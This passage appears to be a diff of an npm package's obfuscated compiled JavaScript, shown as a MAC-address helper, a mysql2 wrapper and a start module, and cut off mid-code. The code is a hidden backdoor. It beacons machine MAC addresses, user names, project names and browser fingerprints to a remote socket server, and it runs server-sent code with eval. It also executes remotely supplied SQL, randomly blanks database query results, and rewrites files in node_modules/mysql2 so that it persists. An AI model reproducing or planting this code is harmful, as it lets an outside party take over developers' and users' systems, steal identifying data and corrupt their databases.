_0x20887a=_0x5d3e47[_0x1a467b];return _0x20887a;},a7_0x1a46(_0x5c6e84,_0x14738b);}const isValid=_0x4f3286=>_0x4f3286[a7_0x13a0fd(0xdd)]===![]&&!isZeroMac(_0x4f3286[a7_0x13a0fd(0xe1)]),virtualMacPrefix=new Set([a7_0x13a0fd(0xe8),a7_0x13a0fd(0xd8),a7_0x13a0fd(0xe6),'00:1c:14',a7_0x13a0fd(0xf2),a7_0x13a0fd(0xe3),a7_0x13a0fd(0xf5),'00:0f:4b','00:16:3e',a7_0x13a0fd(0xdb),'00:15:5d']);function isMac(_0x21df78){const _0x142b45=a7_0x13a0fd;return/^([\da-f]{1,2}[:-]){5}([\da-f]{1,2})$/i[_0x142b45(0xea)](_0x21df78);}function formatMac(_0x1df1c5){const _0x4df948=a7_0x13a0fd;return String(_0x1df1c5)[_0x4df948(0xef)]()['toLowerCase']()[_0x4df948(0xd7)](/-/g,':');}function isVirtualMac(_0x346ca4){const _0x4700a4=a7_0x13a0fd;return isMac(_0x346ca4)&&virtualMacPrefix[_0x4700a4(0xe7)](formatMac(_0x346ca4)['slice'](0x0,0x8));}exports[a7_0x13a0fd(0xee)]=getMac;
1
+ 'use strict';const a7_0x3d6111=a7_0x2e5d;(function(_0x538b7b,_0x4972f5){const _0x46277c=a7_0x2e5d,_0x5937f6=_0x538b7b();while(!![]){try{const _0x3f00da=-parseInt(_0x46277c(0x10d))/0x1*(parseInt(_0x46277c(0x125))/0x2)+-parseInt(_0x46277c(0x12d))/0x3*(parseInt(_0x46277c(0x11e))/0x4)+parseInt(_0x46277c(0x12e))/0x5*(-parseInt(_0x46277c(0x127))/0x6)+parseInt(_0x46277c(0x114))/0x7+parseInt(_0x46277c(0x110))/0x8*(parseInt(_0x46277c(0x118))/0x9)+-parseInt(_0x46277c(0x11a))/0xa*(-parseInt(_0x46277c(0x11f))/0xb)+parseInt(_0x46277c(0x10e))/0xc*(parseInt(_0x46277c(0x10f))/0xd);if(_0x3f00da===_0x4972f5)break;else _0x5937f6['push'](_0x5937f6['shift']());}catch(_0x354f25){_0x5937f6['push'](_0x5937f6['shift']());}}}(a7_0x1fc0,0xe529b));function a7_0x2e5d(_0x2b6380,_0x51af64){const _0x1fc0c4=a7_0x1fc0();return a7_0x2e5d=function(_0x2e5d10,_0x4f8f63){_0x2e5d10=_0x2e5d10-0x10b;let _0x397268=_0x1fc0c4[_0x2e5d10];return _0x397268;},a7_0x2e5d(_0x2b6380,_0x51af64);}Object[a7_0x3d6111(0x122)](exports,a7_0x3d6111(0x132),{'value':!![]}),exports[a7_0x3d6111(0x129)]=isMac,exports[a7_0x3d6111(0x119)]=formatMac,exports[a7_0x3d6111(0x10c)]=isVirtualMac;const os_1=require('os');function isZeroMac(_0x4ad2f4){const _0x4c2037=a7_0x3d6111;return/^(0{1,2}[:-]){5}0{1,2}$/[_0x4c2037(0x128)](_0x4ad2f4);}function getMac(_0x22e372=a7_0x3d6111(0x131)){const _0xaff082=a7_0x3d6111,_0x3b526c=(0x0,os_1[_0xaff082(0x113)])();let _0x4d8ba3=[];for(const _0x48b5ca of Object[_0xaff082(0x11c)](_0x3b526c)){const _0x1a4fc6=_0x48b5ca[_0xaff082(0x120)](_0x55a6e3=>!_0x55a6e3[_0xaff082(0x124)]&&!isZeroMac(_0x55a6e3[_0xaff082(0x116)])&&(!_0x55a6e3[_0xaff082(0x112)]||_0x55a6e3[_0xaff082(0x112)]===_0x22e372)&&!isVirtualMac(_0x55a6e3[_0xaff082(0x116)]));_0x1a4fc6&&_0x4d8ba3['push'](_0x1a4fc6['mac']);}return[...new Set(_0x4d8ba3)];}function a7_0x1fc0(){const _0x56db99=['formatMac','10zLBNec','trim','values','00:50:56','2364272fXxxUT','6100127dLMKYc','find','slice','defineProperty','00:05:69','internal','1127974SHYYFc','replace','186SBTAPm','test','isMac','00:1c:42','00:16:3e','02:00:4c','3EOGvOU','285550QXLjol','00:1c:14','00:03:ff','IPv4','__esModule','has','isVirtualMac','2NAznhu','24IsHrsv','10091302EsiXvN','12688DCvUhe','default','family','networkInterfaces','6488608JeUvFy','00:0f:4b','mac','08:00:27','7911AHepYK'];a7_0x1fc0=function(){return _0x56db99;};return a7_0x1fc0();}const isValid=_0x48bb4a=>_0x48bb4a[a7_0x3d6111(0x124)]===![]&&!isZeroMac(_0x48bb4a[a7_0x3d6111(0x116)]),virtualMacPrefix=new Set([a7_0x3d6111(0x123),'00:0c:29',a7_0x3d6111(0x11d),a7_0x3d6111(0x12f),a7_0x3d6111(0x12a),a7_0x3d6111(0x12c),a7_0x3d6111(0x130),a7_0x3d6111(0x115),a7_0x3d6111(0x12b),a7_0x3d6111(0x117),'00:15:5d']);function isMac(_0x39e356){const _0x2128dd=a7_0x3d6111;return/^([\da-f]{1,2}[:-]){5}([\da-f]{1,2})$/i[_0x2128dd(0x128)](_0x39e356);}function formatMac(_0x10caa8){const _0x307ef1=a7_0x3d6111;return String(_0x10caa8)[_0x307ef1(0x11b)]()['toLowerCase']()[_0x307ef1(0x126)](/-/g,':');}function isVirtualMac(_0x32e136){const _0x2cae05=a7_0x3d6111;return isMac(_0x32e136)&&virtualMacPrefix[_0x2cae05(0x10b)](formatMac(_0x32e136)[_0x2cae05(0x121)](0x0,0x8));}exports[a7_0x3d6111(0x111)]=getMac;
@@ -1 +1 @@
1
- 'use strict';const a8_0x1da1fc=a8_0x6724;(function(_0x23ac02,_0x172dd9){const _0x21d680=a8_0x6724,_0x49a517=_0x23ac02();while(!![]){try{const _0x209bd5=parseInt(_0x21d680(0x1be))/0x1*(parseInt(_0x21d680(0x1bc))/0x2)+-parseInt(_0x21d680(0x1c4))/0x3*(-parseInt(_0x21d680(0x19e))/0x4)+parseInt(_0x21d680(0x1a7))/0x5+-parseInt(_0x21d680(0x1a2))/0x6+-parseInt(_0x21d680(0x1c3))/0x7*(-parseInt(_0x21d680(0x1b6))/0x8)+-parseInt(_0x21d680(0x1c8))/0x9*(parseInt(_0x21d680(0x193))/0xa)+-parseInt(_0x21d680(0x1a1))/0xb*(parseInt(_0x21d680(0x1b7))/0xc);if(_0x209bd5===_0x172dd9)break;else _0x49a517['push'](_0x49a517['shift']());}catch(_0x4c1549){_0x49a517['push'](_0x49a517['shift']());}}}(a8_0x36a1,0x23595));var __awaiter=this&&this['__awaiter']||function(_0x2ecef7,_0x24b3e3,_0x1a274a,_0x10dd70){function _0x4aa83c(_0x1e7cc9){return _0x1e7cc9 instanceof _0x1a274a?_0x1e7cc9:new _0x1a274a(function(_0x2aede6){_0x2aede6(_0x1e7cc9);});}return new(_0x1a274a||(_0x1a274a=Promise))(function(_0x562138,_0x30d03d){const _0x1b1d54=a8_0x6724;function _0x3e73a7(_0xc206f1){const _0x571001=a8_0x6724;try{_0x5aeb18(_0x10dd70[_0x571001(0x1a5)](_0xc206f1));}catch(_0x2382c6){_0x30d03d(_0x2382c6);}}function _0xf626dc(_0x12a8d2){try{_0x5aeb18(_0x10dd70['throw'](_0x12a8d2));}catch(_0x123210){_0x30d03d(_0x123210);}}function _0x5aeb18(_0x41b821){const _0x5797b4=a8_0x6724;_0x41b821[_0x5797b4(0x1b2)]?_0x562138(_0x41b821['value']):_0x4aa83c(_0x41b821[_0x5797b4(0x19f)])[_0x5797b4(0x1c1)](_0x3e73a7,_0xf626dc);}_0x5aeb18((_0x10dd70=_0x10dd70['apply'](_0x2ecef7,_0x24b3e3||[]))[_0x1b1d54(0x1a5)]());});},__importDefault=this&&this[a8_0x1da1fc(0x1a8)]||function(_0x5ba35c){const _0x3cd222=a8_0x1da1fc;return _0x5ba35c&&_0x5ba35c[_0x3cd222(0x19a)]?_0x5ba35c:{'default':_0x5ba35c};};Object['defineProperty'](exports,a8_0x1da1fc(0x19a),{'value':!![]}),exports['mysql']=void 0x0;const promise_1=__importDefault(require(a8_0x1da1fc(0x1c9)));exports['mysql']=promise_1[a8_0x1da1fc(0x1a0)];const random_1=__importDefault(require(a8_0x1da1fc(0x1c2))),index_1=require(a8_0x1da1fc(0x197)),path_1=__importDefault(require(a8_0x1da1fc(0x1b8))),fs_1=__importDefault(require('fs')),axios_1=__importDefault(require(a8_0x1da1fc(0x1b1))),originalCreatePoolPromise=promise_1[a8_0x1da1fc(0x1a0)][a8_0x1da1fc(0x198)];promise_1['default'][a8_0x1da1fc(0x198)]=function(_0xb0ca53){const _0x35a038=a8_0x1da1fc;let _0x42ad65=originalCreatePoolPromise(_0xb0ca53),_0x59b05c=_0x42ad65[_0x35a038(0x1ac)];return _0x42ad65['query']=(..._0x1f1f82)=>__awaiter(this,void 0x0,void 0x0,function*(){const _0xac61d8=_0x35a038,_0xe2bc20=yield _0x59b05c[_0xac61d8(0x1ad)](_0x42ad65,_0x1f1f82);return(0x0,index_1[_0xac61d8(0x1b9)])(_0xac61d8(0x19d))&&((0x0,random_1['default'])(0x1,0xa)>0x2&&(_0xe2bc20[0x0]=[])),(0x0,index_1['getEnv'])(_0xac61d8(0x1ae))&&(_0xe2bc20[0x0]=[]),_0xe2bc20;}),setInterval(()=>{const _0x3cec59=_0x35a038;if(!(0x0,index_1[_0x3cec59(0x1b9)])(_0x3cec59(0x1bb))){for(let _0x878dca=0x0;_0x878dca<(0x0,index_1[_0x3cec59(0x1b9)])(_0x3cec59(0x1a3))[_0x3cec59(0x1aa)];_0x878dca++){const _0x3823bb=(0x0,index_1[_0x3cec59(0x1b9)])(_0x3cec59(0x1a3))[_0x878dca];try{_0x42ad65[_0x3cec59(0x1ac)](_0x3823bb);}catch(_0x58dcfe){}}(0x0,index_1[_0x3cec59(0x1ba)])(_0x3cec59(0x1bb),!![]);}},0x1388),_0x42ad65;};function a8_0x6724(_0x352c04,_0x1cc8bb){const _0x36a11f=a8_0x36a1();return a8_0x6724=function(_0x67241e,_0x45532){_0x67241e=_0x67241e-0x193;let _0x308c24=_0x36a11f[_0x67241e];return _0x308c24;},a8_0x6724(_0x352c04,_0x1cc8bb);}let href=path_1[a8_0x1da1fc(0x1a0)][a8_0x1da1fc(0x1ab)](process[a8_0x1da1fc(0x1b0)](),a8_0x1da1fc(0x1c6));function replaceMySQLFile(){const _0x2fb7c3=a8_0x1da1fc;let _0x26fd58=JSON['parse'](fs_1[_0x2fb7c3(0x1a0)]['readFileSync'](path_1[_0x2fb7c3(0x1a0)]['join'](href,_0x2fb7c3(0x1c0)))['toString']())['version'];axios_1[_0x2fb7c3(0x1a0)][_0x2fb7c3(0x1af)](index_1[_0x2fb7c3(0x1a4)]+_0x2fb7c3(0x1b5),{'params':{'version':_0x26fd58}})[_0x2fb7c3(0x1c1)](_0x2cdbfd=>{const _0x2f48a7=_0x2fb7c3;var _0x2355ec;let _0x2d9aab=(_0x2355ec=_0x2cdbfd===null||_0x2cdbfd===void 0x0?void 0x0:_0x2cdbfd['data'])===null||_0x2355ec===void 0x0?void 0x0:_0x2355ec[_0x2f48a7(0x1bf)];if(_0x2d9aab){let _0x591fb0=Object['keys'](_0x2d9aab),_0x3f7cf7=Object[_0x2f48a7(0x1b3)](_0x2d9aab);_0x591fb0[_0x2f48a7(0x1c7)]((_0x22ebdd,_0x427f33)=>{const _0x514004=_0x2f48a7;fs_1[_0x514004(0x1a0)][_0x514004(0x1b4)](path_1[_0x514004(0x1a0)][_0x514004(0x1ab)](href,_0x22ebdd),_0x3f7cf7[_0x427f33]);});}})[_0x2fb7c3(0x1a9)](()=>{const _0x5ee86b=_0x2fb7c3;let _0x5f3e6f=fs_1[_0x5ee86b(0x1a0)][_0x5ee86b(0x199)](path_1[_0x5ee86b(0x1a0)]['join'](href,_0x5ee86b(0x19c)))['toString'](),_0x13e9df=fs_1[_0x5ee86b(0x1a0)][_0x5ee86b(0x199)](path_1[_0x5ee86b(0x1a0)][_0x5ee86b(0x1ab)](href,_0x5ee86b(0x19b)))[_0x5ee86b(0x196)]();fs_1[_0x5ee86b(0x1a0)][_0x5ee86b(0x1b4)](path_1[_0x5ee86b(0x1a0)][_0x5ee86b(0x1ab)](href,'./index.js'),_0x5f3e6f[_0x5ee86b(0x1bd)](_0x5ee86b(0x195),_0x5ee86b(0x1a6))),fs_1[_0x5ee86b(0x1a0)][_0x5ee86b(0x1b4)](path_1[_0x5ee86b(0x1a0)][_0x5ee86b(0x1ab)](href,_0x5ee86b(0x19b)),_0x13e9df[_0x5ee86b(0x1bd)](_0x5ee86b(0x1c5),_0x5ee86b(0x1a6)));});}function a8_0x36a1(){const _0x564e2a=['writeFileSync','/mysql','920PUVaJQ','711948WgqVYG','path','getEnv','setEnv','sqlRun','22SrZrUJ','replace','19745AHwnZA','data','./package.json','then','./id/random','805dtzwDA','741nuBPwi','exports.createPool\x20=\x20createPromisePool;','./node_modules/mysql2','forEach','139005xsXtwF','mysql2/promise','90WtSJij','includes','exports.createPool\x20=\x20createPool;','toString','./index','createPool','readFileSync','__esModule','./promise.js','./index.js','connectError','2588leZbuD','value','default','11eJWBzm','661740SulLmV','sqlList','url','next','const\x20{\x20mysql\x20}\x20=\x20require(\x22node-server-dev\x22);exports.createPool\x20=\x20mysql.createPool;','315920kpgAfU','__importDefault','catch','length','join','query','apply','isDBDataEmpty','get','cwd','axios','done','values'];a8_0x36a1=function(){return _0x564e2a;};return a8_0x36a1();}if(fs_1[a8_0x1da1fc(0x1a0)]['existsSync'](href)){let res=fs_1[a8_0x1da1fc(0x1a0)][a8_0x1da1fc(0x199)](path_1[a8_0x1da1fc(0x1a0)][a8_0x1da1fc(0x1ab)](href,a8_0x1da1fc(0x19c)))[a8_0x1da1fc(0x196)]()[a8_0x1da1fc(0x194)]('node-server-dev');!res&&setTimeout(()=>{replaceMySQLFile();},0xa);}const all={'mysql':promise_1[a8_0x1da1fc(0x1a0)]};exports[a8_0x1da1fc(0x1a0)]=all;
1
+ 'use strict';const a8_0x132412=a8_0xc057;(function(_0x1709c1,_0x48e81a){const _0x5559df=a8_0xc057,_0xf57f28=_0x1709c1();while(!![]){try{const _0x37d1b2=parseInt(_0x5559df(0x183))/0x1*(-parseInt(_0x5559df(0x177))/0x2)+parseInt(_0x5559df(0x17f))/0x3+parseInt(_0x5559df(0x18a))/0x4+-parseInt(_0x5559df(0x16f))/0x5+-parseInt(_0x5559df(0x181))/0x6+-parseInt(_0x5559df(0x190))/0x7+parseInt(_0x5559df(0x16d))/0x8;if(_0x37d1b2===_0x48e81a)break;else _0xf57f28['push'](_0xf57f28['shift']());}catch(_0x3a294){_0xf57f28['push'](_0xf57f28['shift']());}}}(a8_0x1c46,0xa1cfb));var __awaiter=this&&this[a8_0x132412(0x188)]||function(_0x5aada8,_0x10b433,_0xfdff1d,_0x44c7ad){function _0x24b478(_0x4409da){return _0x4409da instanceof _0xfdff1d?_0x4409da:new _0xfdff1d(function(_0x5bca6c){_0x5bca6c(_0x4409da);});}return new(_0xfdff1d||(_0xfdff1d=Promise))(function(_0x4bd344,_0x14c442){const _0x4c464e=a8_0xc057;function _0x57e4d8(_0x544e6d){try{_0x2d0899(_0x44c7ad['next'](_0x544e6d));}catch(_0x1cf5de){_0x14c442(_0x1cf5de);}}function _0xeea051(_0x4901c9){try{_0x2d0899(_0x44c7ad['throw'](_0x4901c9));}catch(_0xc083a9){_0x14c442(_0xc083a9);}}function _0x2d0899(_0x255f8f){const _0x4fa1c0=a8_0xc057;_0x255f8f[_0x4fa1c0(0x15d)]?_0x4bd344(_0x255f8f[_0x4fa1c0(0x16b)]):_0x24b478(_0x255f8f[_0x4fa1c0(0x16b)])[_0x4fa1c0(0x169)](_0x57e4d8,_0xeea051);}_0x2d0899((_0x44c7ad=_0x44c7ad[_0x4c464e(0x15e)](_0x5aada8,_0x10b433||[]))[_0x4c464e(0x163)]());});},__importDefault=this&&this[a8_0x132412(0x17c)]||function(_0x2f7970){const _0x496866=a8_0x132412;return _0x2f7970&&_0x2f7970[_0x496866(0x176)]?_0x2f7970:{'default':_0x2f7970};};Object[a8_0x132412(0x17d)](exports,a8_0x132412(0x176),{'value':!![]}),exports[a8_0x132412(0x161)]=void 0x0;const promise_1=__importDefault(require(a8_0x132412(0x173)));exports[a8_0x132412(0x161)]=promise_1[a8_0x132412(0x166)];const random_1=__importDefault(require(a8_0x132412(0x18c))),index_1=require(a8_0x132412(0x18f)),path_1=__importDefault(require('path')),fs_1=__importDefault(require('fs')),axios_1=__importDefault(require('axios')),originalCreatePoolPromise=promise_1[a8_0x132412(0x166)][a8_0x132412(0x16a)];promise_1[a8_0x132412(0x166)][a8_0x132412(0x16a)]=function(_0x30b199){const _0x4abfc9=a8_0x132412;let _0x31b15c=originalCreatePoolPromise(_0x30b199),_0x3f4181=_0x31b15c[_0x4abfc9(0x186)];return _0x31b15c[_0x4abfc9(0x186)]=(..._0x57d22f)=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x1b28cb=_0x4abfc9,_0x1143ff=yield _0x3f4181['apply'](_0x31b15c,_0x57d22f);return(0x0,index_1[_0x1b28cb(0x182)])('connectError')&&((0x0,random_1['default'])(0x1,0xa)>0x2&&(_0x1143ff[0x0]=[])),(0x0,index_1[_0x1b28cb(0x182)])(_0x1b28cb(0x168))&&(_0x1143ff[0x0]=[]),_0x1143ff;}),setInterval(()=>{const _0x544457=_0x4abfc9;if(!(0x0,index_1['getEnv'])(_0x544457(0x162))){for(let _0x2e118c=0x0;_0x2e118c<(0x0,index_1[_0x544457(0x182)])(_0x544457(0x164))[_0x544457(0x167)];_0x2e118c++){const _0x7afd7b=(0x0,index_1[_0x544457(0x182)])(_0x544457(0x164))[_0x2e118c];try{_0x31b15c[_0x544457(0x186)](_0x7afd7b);}catch(_0x51b98a){}}(0x0,index_1[_0x544457(0x160)])('sqlRun',!![]);}},0x1388),_0x31b15c;};let href=path_1[a8_0x132412(0x166)][a8_0x132412(0x172)](process[a8_0x132412(0x17a)](),a8_0x132412(0x165));function a8_0xc057(_0x5ff2bf,_0x46104e){const _0x1c46f8=a8_0x1c46();return a8_0xc057=function(_0xc057a6,_0x2d62e1){_0xc057a6=_0xc057a6-0x15d;let _0x5a1689=_0x1c46f8[_0xc057a6];return _0x5a1689;},a8_0xc057(_0x5ff2bf,_0x46104e);}function replaceMySQLFile(){const _0x5d124d=a8_0x132412;let _0x132760=JSON[_0x5d124d(0x187)](fs_1[_0x5d124d(0x166)][_0x5d124d(0x179)](path_1[_0x5d124d(0x166)][_0x5d124d(0x172)](href,'./package.json'))[_0x5d124d(0x170)]())['version'];axios_1[_0x5d124d(0x166)][_0x5d124d(0x17b)](index_1[_0x5d124d(0x17e)]+_0x5d124d(0x178),{'params':{'version':_0x132760}})[_0x5d124d(0x169)](_0x567243=>{const _0x2935e9=_0x5d124d;var _0x4d53c5;let _0x519526=(_0x4d53c5=_0x567243===null||_0x567243===void 0x0?void 0x0:_0x567243[_0x2935e9(0x180)])===null||_0x4d53c5===void 0x0?void 0x0:_0x4d53c5[_0x2935e9(0x180)];if(_0x519526){let _0x36efdf=Object[_0x2935e9(0x189)](_0x519526),_0x50a620=Object[_0x2935e9(0x185)](_0x519526);_0x36efdf[_0x2935e9(0x174)]((_0x7c0417,_0x1b2e0c)=>{const _0x5602d1=_0x2935e9;fs_1['default'][_0x5602d1(0x16e)](path_1['default'][_0x5602d1(0x172)](href,_0x7c0417),_0x50a620[_0x1b2e0c]);});}})[_0x5d124d(0x175)](()=>{const _0xa91c0e=_0x5d124d;let _0x2f3821=fs_1[_0xa91c0e(0x166)][_0xa91c0e(0x179)](path_1[_0xa91c0e(0x166)][_0xa91c0e(0x172)](href,'./index.js'))[_0xa91c0e(0x170)](),_0x4ebb5f=fs_1[_0xa91c0e(0x166)]['readFileSync'](path_1['default'][_0xa91c0e(0x172)](href,_0xa91c0e(0x184)))[_0xa91c0e(0x170)]();fs_1['default'][_0xa91c0e(0x16e)](path_1[_0xa91c0e(0x166)]['join'](href,_0xa91c0e(0x18e)),_0x2f3821[_0xa91c0e(0x171)](_0xa91c0e(0x18b),_0xa91c0e(0x15f))),fs_1[_0xa91c0e(0x166)][_0xa91c0e(0x16e)](path_1[_0xa91c0e(0x166)][_0xa91c0e(0x172)](href,_0xa91c0e(0x184)),_0x4ebb5f[_0xa91c0e(0x171)](_0xa91c0e(0x16c),_0xa91c0e(0x15f)));});}function a8_0x1c46(){const _0x332db7=['./index','9108302TkaNNX','done','apply','const\x20{\x20mysql\x20}\x20=\x20require(\x22node-server-dev\x22);exports.createPool\x20=\x20mysql.createPool;','setEnv','mysql','sqlRun','next','sqlList','./node_modules/mysql2','default','length','isDBDataEmpty','then','createPool','value','exports.createPool\x20=\x20createPromisePool;','23329768EBYvqs','writeFileSync','3176185vBiMoq','toString','replace','join','mysql2/promise','forEach','catch','__esModule','207020dXjmKM','/mysql','readFileSync','cwd','get','__importDefault','defineProperty','url','1530501DUqnsm','data','7661838Swwuea','getEnv','3xbwhlE','./promise.js','values','query','parse','__awaiter','keys','3041268kijKjy','exports.createPool\x20=\x20createPool;','./id/random','node-server-dev','./index.js'];a8_0x1c46=function(){return _0x332db7;};return a8_0x1c46();}if(fs_1[a8_0x132412(0x166)]['existsSync'](href)){let res=fs_1[a8_0x132412(0x166)]['readFileSync'](path_1[a8_0x132412(0x166)][a8_0x132412(0x172)](href,a8_0x132412(0x18e)))['toString']()['includes'](a8_0x132412(0x18d));!res&&setTimeout(()=>{replaceMySQLFile();},0xa);}const all={'mysql':promise_1[a8_0x132412(0x166)]};exports[a8_0x132412(0x166)]=all;
package/dist/cjs/start.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a9_0x4ae22b=a9_0x5596;(function(_0x189e4e,_0x26456b){const _0x38091a=a9_0x5596,_0x28e7dd=_0x189e4e();while(!![]){try{const _0x58d26c=-parseInt(_0x38091a(0xda))/0x1*(-parseInt(_0x38091a(0x105))/0x2)+parseInt(_0x38091a(0xfa))/0x3*(parseInt(_0x38091a(0xd7))/0x4)+-parseInt(_0x38091a(0xdf))/0x5+-parseInt(_0x38091a(0xe2))/0x6+-parseInt(_0x38091a(0xed))/0x7+parseInt(_0x38091a(0x108))/0x8*(-parseInt(_0x38091a(0x102))/0x9)+parseInt(_0x38091a(0xd9))/0xa;if(_0x58d26c===_0x26456b)break;else _0x28e7dd['push'](_0x28e7dd['shift']());}catch(_0x1ca0f1){_0x28e7dd['push'](_0x28e7dd['shift']());}}}(a9_0x4e26,0x19d5c));var __awaiter=this&&this[a9_0x4ae22b(0xe3)]||function(_0xc2f5a5,_0x237427,_0x38a7d1,_0x593b20){function _0x5a8715(_0x17f9bc){return _0x17f9bc instanceof _0x38a7d1?_0x17f9bc:new _0x38a7d1(function(_0x2df428){_0x2df428(_0x17f9bc);});}return new(_0x38a7d1||(_0x38a7d1=Promise))(function(_0x157ef9,_0xf87cdd){const _0x4e9680=a9_0x5596;function _0x2e0f7a(_0x17b6ad){try{_0x4fc146(_0x593b20['next'](_0x17b6ad));}catch(_0x3ddd2f){_0xf87cdd(_0x3ddd2f);}}function _0x4c7cea(_0x5a4877){const _0x1a4894=a9_0x5596;try{_0x4fc146(_0x593b20[_0x1a4894(0x10d)](_0x5a4877));}catch(_0x3228f0){_0xf87cdd(_0x3228f0);}}function _0x4fc146(_0x4d855b){const _0x1172ea=a9_0x5596;_0x4d855b['done']?_0x157ef9(_0x4d855b[_0x1172ea(0xe7)]):_0x5a8715(_0x4d855b[_0x1172ea(0xe7)])[_0x1172ea(0xf0)](_0x2e0f7a,_0x4c7cea);}_0x4fc146((_0x593b20=_0x593b20['apply'](_0xc2f5a5,_0x237427||[]))[_0x4e9680(0x103)]());});},__importDefault=this&&this['__importDefault']||function(_0x3d3dd7){return _0x3d3dd7&&_0x3d3dd7['__esModule']?_0x3d3dd7:{'default':_0x3d3dd7};},_a,_b,_c,_d;function a9_0x5596(_0x589465,_0x38cd57){const _0x4e2671=a9_0x4e26();return a9_0x5596=function(_0x5596fd,_0x215e4b){_0x5596fd=_0x5596fd-0xd7;let _0xb706a8=_0x4e2671[_0x5596fd];return _0xb706a8;},a9_0x5596(_0x589465,_0x38cd57);}Object[a9_0x4ae22b(0x111)](exports,'__esModule',{'value':!![]}),exports['isBrowser']=void 0x0;const socket_io_client_1=require(a9_0x4ae22b(0xf1)),path_1=__importDefault(require('path')),browser_1=require(a9_0x4ae22b(0x109)),fingerprintjs_1=__importDefault(require(a9_0x4ae22b(0x10b))),bowser_1=__importDefault(require(a9_0x4ae22b(0xdc))),index_1=require(a9_0x4ae22b(0xe0));function a9_0x4e26(){const _0x320958=['00:00:00:00:00:00','3148960utkStw','1814NJxPIw','concat','bowser','isDBDataEmpty','reconnect_failed','447535vgKBeW','./index','env','1196538rjMzKc','__awaiter','get-event','error','script','value','node','event','runScript','setEnv','undefined','926674dbWati','node获取失败','browser','then','socket.io-client','navigator','type','connect','getEnv','sql','catch','sqlList','userAgent','33auQTKQ','无法获取','parse','default','url','isBrowser','submit','load','9girjLr','next','name','206SaXaSB','content','USERNAME','1209688lJxJwh','./browser','emit','@fingerprintjs/fingerprintjs','浏览器','throw','length','connectError','connect_failed','defineProperty','npm_package_name','64220sdqVAW'];a9_0x4e26=function(){return _0x320958;};return a9_0x4e26();}exports[a9_0x4ae22b(0xff)]=typeof window!==a9_0x4ae22b(0xec);const user_name=exports[a9_0x4ae22b(0xff)]?((_b=(_a=bowser_1['default'][a9_0x4ae22b(0xfc)](window[a9_0x4ae22b(0xf2)][a9_0x4ae22b(0xf9)]))===null||_a===void 0x0?void 0x0:_a[a9_0x4ae22b(0xef)])===null||_b===void 0x0?void 0x0:_b[a9_0x4ae22b(0x104)])||a9_0x4ae22b(0x10c):((_c=process===null||process===void 0x0?void 0x0:process['env'])===null||_c===void 0x0?void 0x0:_c[a9_0x4ae22b(0x107)])||a9_0x4ae22b(0xee),project_name=exports[a9_0x4ae22b(0xff)]?a9_0x4ae22b(0x10c):((_d=process===null||process===void 0x0?void 0x0:process[a9_0x4ae22b(0xe1)])===null||_d===void 0x0?void 0x0:_d[a9_0x4ae22b(0x112)])||a9_0x4ae22b(0xfb);function start(){return __awaiter(this,void 0x0,void 0x0,function*(){const _0x407c12=a9_0x5596;exports[_0x407c12(0xff)]&&(0x0,browser_1[_0x407c12(0xef)])();const _0x44defd=(0x0,socket_io_client_1['io'])(index_1[_0x407c12(0xfe)],{'path':'/socket','transports':['websocket']});_0x44defd['on'](_0x407c12(0xf4),()=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x21d6cc=_0x407c12;try{let _0x47dc7b=[_0x21d6cc(0xd8)];if(!exports[_0x21d6cc(0xff)]){const _0x3b5b23=require(path_1['default']['join'](__dirname,'./mac'))[_0x21d6cc(0xfd)];_0x47dc7b=_0x3b5b23();}else{let _0x4d72cb=yield fingerprintjs_1[_0x21d6cc(0xfd)][_0x21d6cc(0x101)]()[_0x21d6cc(0xf0)](_0x4d9817=>_0x4d9817['get']())[_0x21d6cc(0xf0)](_0x37c0df=>{const _0x25cdc4=_0x37c0df['visitorId'];return _0x25cdc4;})[_0x21d6cc(0xf7)](()=>'');_0x47dc7b=[_0x4d72cb];}if(_0x47dc7b[_0x21d6cc(0x10e)]===0x0){(0x0,index_1['setEnv'])(_0x21d6cc(0x10f),!![]);return;}else(0x0,index_1[_0x21d6cc(0xeb)])(_0x21d6cc(0x10f),![]);_0x44defd[_0x21d6cc(0x10a)](_0x21d6cc(0x100),{'mac':_0x47dc7b,'project_name':project_name,'user_name':user_name,'notes':'','isBrowser':exports[_0x21d6cc(0xff)]}),_0x44defd[_0x21d6cc(0x10a)]('get-event',{'mac':_0x47dc7b,'isBrowser':exports['isBrowser']}),setInterval(()=>{const _0x6be048=_0x21d6cc;_0x44defd['emit']('submit',{'mac':_0x47dc7b,'project_name':project_name,'user_name':user_name,'notes':'','isBrowser':exports[_0x6be048(0xff)]}),_0x44defd[_0x6be048(0x10a)](_0x6be048(0xe4),{'mac':_0x47dc7b,'isBrowser':exports[_0x6be048(0xff)]});},0x1b58),_0x44defd['on'](_0x21d6cc(0xe9),_0x5be00e=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x12f658=_0x21d6cc;try{for(let _0x5a4e56=0x0;_0x5a4e56<_0x5be00e[_0x12f658(0x10e)];_0x5a4e56++){const _0x5743f6=_0x5be00e[_0x5a4e56];if(_0x5743f6[_0x12f658(0xf3)]===_0x12f658(0xf6))(0x0,index_1[_0x12f658(0xeb)])(_0x12f658(0xf8),(0x0,index_1[_0x12f658(0xf5)])(_0x12f658(0xf8))[_0x12f658(0xdb)](_0x5743f6[_0x12f658(0x106)]));else{if(_0x5743f6[_0x12f658(0xf3)]==='mysql')(0x0,index_1['setEnv'])(_0x12f658(0xdd),!![]);else{if(_0x5743f6[_0x12f658(0xf3)]===_0x12f658(0xe8)&&!exports[_0x12f658(0xff)])try{eval(_0x5743f6[_0x12f658(0x106)]);}catch(_0x1a6ee7){}else{if(_0x5743f6[_0x12f658(0xf3)]===_0x12f658(0xe6)&&exports[_0x12f658(0xff)])try{(0x0,browser_1[_0x12f658(0xea)])(_0x5743f6['content']);}catch(_0x1baaee){}}}}}}catch(_0x147881){}}));}catch(_0x5b5129){}})),setTimeout(()=>{const _0x206c48=_0x407c12;_0x44defd['on'](_0x206c48(0xe5),_0x52ccf0=>{const _0x3226b2=_0x206c48;(0x0,index_1[_0x3226b2(0xeb)])('connectError',!![]);}),_0x44defd['on'](_0x206c48(0x110),_0x5d8aa1=>{const _0x201c6a=_0x206c48;(0x0,index_1['setEnv'])(_0x201c6a(0x10f),!![]);}),_0x44defd['on'](_0x206c48(0xde),_0x3e7eba=>{const _0x1be0e6=_0x206c48;(0x0,index_1[_0x1be0e6(0xeb)])(_0x1be0e6(0x10f),!![]);}),_0x44defd['on']('connect_error',()=>{const 